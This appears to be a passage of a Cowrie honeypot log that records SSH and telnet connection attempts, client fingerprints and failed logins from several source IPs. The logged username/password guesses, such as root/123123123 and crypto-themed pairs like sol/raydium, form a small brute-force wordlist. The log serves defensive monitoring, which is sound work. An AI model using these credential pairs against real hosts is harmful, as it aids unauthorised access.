{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":20999,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdca8e04eeb1","protocol":"telnet","message":"New connection: 212.55.149.117:20999 (10.17.0.5:23) [session: bdca8e04eeb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:42:16.471167Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.231.193.85","src_port":51648,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9397e95ada5","protocol":"ssh","message":"New connection: 171.231.193.85:51648 (159.203.135.109:22) [session: f9397e95ada5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:42:41.399158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:42:41.509655Z","src_ip":"171.231.193.85","session":"f9397e95ada5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:42:41.656533Z","src_ip":"171.231.193.85","session":"f9397e95ada5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"config","password":"config","message":"login attempt [config/config] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:42:43.139300Z","src_ip":"171.231.193.85","session":"f9397e95ada5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:42:44.396810Z","src_ip":"171.231.193.85","session":"f9397e95ada5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01100564002991,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:43:02.624993Z","src_ip":"212.55.149.117","session":"0e34a76ec9ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":52848,"dst_ip":"10.17.0.5","dst_port":22,"session":"9eb942ea4b44","protocol":"ssh","message":"New connection: 193.32.162.145:52848 (10.17.0.5:22) [session: 9eb942ea4b44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:43:05.126351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:43:05.131653Z","src_ip":"193.32.162.145","session":"9eb942ea4b44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:43:05.237607Z","src_ip":"193.32.162.145","session":"9eb942ea4b44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"raydium","message":"login attempt [sol/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:43:05.553398Z","src_ip":"193.32.162.145","session":"9eb942ea4b44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":15229,"dst_ip":"10.17.0.5","dst_port":23,"session":"66eb01421f6a","protocol":"telnet","message":"New connection: 212.55.149.117:15229 (10.17.0.5:23) [session: 66eb01421f6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:43:05.649421Z"}
{"eventid":"cowrie.session.closed","duration":120.00134682655334,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:43:05.731881Z","src_ip":"212.55.149.117","session":"18860b1f71e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:43:06.668955Z","src_ip":"193.32.162.145","session":"9eb942ea4b44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":64.0444221496582,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:44:09.693745Z","src_ip":"212.55.149.117","session":"66eb01421f6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00442266464233,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:44:16.475343Z","src_ip":"212.55.149.117","session":"bdca8e04eeb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":54915,"dst_ip":"10.17.0.5","dst_port":23,"session":"1de242d492a2","protocol":"telnet","message":"New connection: 212.55.149.117:54915 (10.17.0.5:23) [session: 1de242d492a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:44:20.925860Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":46842,"dst_ip":"10.17.0.5","dst_port":22,"session":"866d631d6144","protocol":"ssh","message":"New connection: 2.57.122.210:46842 (10.17.0.5:22) [session: 866d631d6144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:44:22.119697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:44:22.181547Z","src_ip":"2.57.122.210","session":"866d631d6144","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:44:22.297596Z","src_ip":"2.57.122.210","session":"866d631d6144","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eigenlayer","password":"eigenlayer","message":"login attempt [eigenlayer/eigenlayer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:44:23.176854Z","src_ip":"2.57.122.210","session":"866d631d6144","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:44:24.308627Z","src_ip":"2.57.122.210","session":"866d631d6144","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":44246,"dst_ip":"10.17.0.5","dst_port":22,"session":"a972f49c00ca","protocol":"ssh","message":"New connection: 193.32.162.145:44246 (10.17.0.5:22) [session: a972f49c00ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:45:19.881057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:45:19.886213Z","src_ip":"193.32.162.145","session":"a972f49c00ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:45:19.987315Z","src_ip":"193.32.162.145","session":"a972f49c00ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"raydium","message":"login attempt [solana/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:45:20.422207Z","src_ip":"193.32.162.145","session":"a972f49c00ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:45:21.562438Z","src_ip":"193.32.162.145","session":"a972f49c00ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.861817359924316,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:45:21.787579Z","src_ip":"212.55.149.117","session":"1de242d492a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":50508,"dst_ip":"10.17.0.5","dst_port":23,"session":"7eddb815f766","protocol":"telnet","message":"New connection: 212.55.149.117:50508 (10.17.0.5:23) [session: 7eddb815f766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:45:51.279536Z"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.220.181","src_port":46872,"dst_ip":"159.203.135.109","dst_port":22,"session":"2510de377060","protocol":"ssh","message":"New connection: 116.110.220.181:46872 (159.203.135.109:22) [session: 2510de377060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:45:52.970377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:45:53.208997Z","src_ip":"116.110.220.181","session":"2510de377060","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:45:53.333948Z","src_ip":"116.110.220.181","session":"2510de377060","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":58622,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc66f74bf499","protocol":"ssh","message":"New connection: 103.15.226.202:58622 (10.17.0.5:22) [session: bc66f74bf499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:45:53.672799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:45:53.677825Z","src_ip":"103.15.226.202","session":"bc66f74bf499","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:45:53.917449Z","src_ip":"103.15.226.202","session":"bc66f74bf499","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:45:54.442237Z","src_ip":"116.110.220.181","session":"2510de377060","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:45:54.635537Z","src_ip":"103.15.226.202","session":"bc66f74bf499","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:45:55.881896Z","src_ip":"103.15.226.202","session":"bc66f74bf499","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:45:56.379232Z","src_ip":"116.110.220.181","session":"2510de377060","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":7940,"dst_ip":"10.17.0.5","dst_port":23,"session":"482bbd3ab245","protocol":"telnet","message":"New connection: 212.55.149.117:7940 (10.17.0.5:23) [session: 482bbd3ab245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:46:10.899433Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":37474,"dst_ip":"10.17.0.5","dst_port":22,"session":"843bd78d248e","protocol":"ssh","message":"New connection: 87.251.64.176:37474 (10.17.0.5:22) [session: 843bd78d248e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:46:26.003971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:46:26.009084Z","src_ip":"87.251.64.176","session":"843bd78d248e","protocol":"ssh"}
